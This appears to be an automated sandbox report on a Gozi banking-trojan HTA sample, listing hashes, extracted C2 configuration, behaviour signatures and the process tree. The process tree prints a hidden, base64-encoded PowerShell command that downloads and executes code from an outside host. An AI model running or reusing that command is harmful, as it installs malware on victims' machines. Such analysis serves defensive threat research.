gozi | 54d0124f0b2197d0b7f6f87024d4e581c7b472eff9f87ecfa93b9a1603410e71

General

Target

client_5.hta
Size

22KB
MD5

988f8a03ac893e41d4f9aaca5addafe1
SHA1

d3bda7e7be11da19cd3adf16a4c58548eb573f74
SHA256

0389108b0322ecbbadd21a245c1b75f93e38a2e51a8b38a385596ebe05c323cf
SHA512

2dd80008e91d35da4d60572be008ab60ae7edd5ebe5b94518c3bfb3aa573c812e2abeb3c7d4033ca9cf5b99e64db5537c79b3e6aae8bd89e894de7fcc2a5b1c1
SSDEEP

384:pA7lUDQMeK43MV0p6WUuJOJjmF9Koq5nZN851z9fwP3jXMeSnqIc6l:H2MWqwRwPDd6l

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://communicalink.com/index.php

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 2684 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

naiuxbR.exe

pid process

2820 naiuxbR.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

2684 powershell.exe
2684 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2684 powershell.exe
2684 powershell.exe
2684 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2684 powershell.exe

flow	pid	process
5	2684	powershell.exe

pid	process
2820	naiuxbR.exe

pid	process
2684	powershell.exe
2684	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3750544865-3773649541-1858556521-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2684	powershell.exe
2684	powershell.exe
2684	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2684	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

mshta.execmd.exepowershell.exe

description	pid	process	target process
PID 2788 wrote to memory of 2528	2788	mshta.exe	cmd.exe
PID 2788 wrote to memory of 2528	2788	mshta.exe	cmd.exe
PID 2788 wrote to memory of 2528	2788	mshta.exe	cmd.exe
PID 2788 wrote to memory of 2528	2788	mshta.exe	cmd.exe
PID 2528 wrote to memory of 2684	2528	cmd.exe	powershell.exe
PID 2528 wrote to memory of 2684	2528	cmd.exe	powershell.exe
PID 2528 wrote to memory of 2684	2528	cmd.exe	powershell.exe
PID 2528 wrote to memory of 2684	2528	cmd.exe	powershell.exe
PID 2684 wrote to memory of 2820	2684	powershell.exe	naiuxbR.exe
PID 2684 wrote to memory of 2820	2684	powershell.exe	naiuxbR.exe
PID 2684 wrote to memory of 2820	2684	powershell.exe	naiuxbR.exe
PID 2684 wrote to memory of 2820	2684	powershell.exe	naiuxbR.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\client_5.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
2⤵
- Suspicious use of WriteProcessMemory
PID:2528

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2684

C:\Users\Admin\AppData\Local\Temp\naiuxbR.exe
"C:\Users\Admin\AppData\Local\Temp\naiuxbR.exe"
4⤵
- Executes dropped EXE
PID:2820

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\naiuxbR.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
C:\Users\Admin\AppData\Local\Temp\naiuxbR.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
\Users\Admin\AppData\Local\Temp\naiuxbR.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
\Users\Admin\AppData\Local\Temp\naiuxbR.exe
Filesize
274KB

MD5
d18f3fecf6d28ddd0f4cf4a9b53c0aec

SHA1
05263b9ec69fcf48cc71443ba23545fabe21df12

SHA256
911bb31927c7250b4741063159cccf6549e4a28ce6b0a5043d3392c7fce401e4

SHA512
4629ce7f35716bd2c0fc3c14104251c6b2f3eaf07f7b35cf181654d6bc9be85bda6cb6f802b00f98c6bbb446db4790940605dcf8f8d6391282281ac029ff0512

Download Submit
memory/2684-16-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2684-12-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2684-17-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2684-15-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2684-14-0x00000000725F0000-0x0000000072B9B000-memory.dmp

Filesize
5.7MB

Download
memory/2684-11-0x00000000725F0000-0x0000000072B9B000-memory.dmp

Filesize
5.7MB

Download
memory/2684-13-0x00000000025D0000-0x0000000002610000-memory.dmp

Filesize
256KB

Download
memory/2684-27-0x00000000725F0000-0x0000000072B9B000-memory.dmp

Filesize
5.7MB

Download
memory/2820-30-0x0000000000220000-0x000000000022B000-memory.dmp

Filesize
44KB

Download
memory/2820-29-0x0000000002320000-0x0000000002420000-memory.dmp

Filesize
1024KB

Download
memory/2820-31-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2820-32-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2820-33-0x0000000002320000-0x0000000002420000-memory.dmp

Filesize
1024KB

Download
memory/2820-34-0x0000000000220000-0x000000000022B000-memory.dmp

Filesize
44KB

Download
memory/2820-35-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2820-36-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download
memory/2820-37-0x00000000022D0000-0x00000000022DD000-memory.dmp

Filesize
52KB

Download
memory/2820-40-0x0000000000400000-0x000000000228B000-memory.dmp

Filesize
30.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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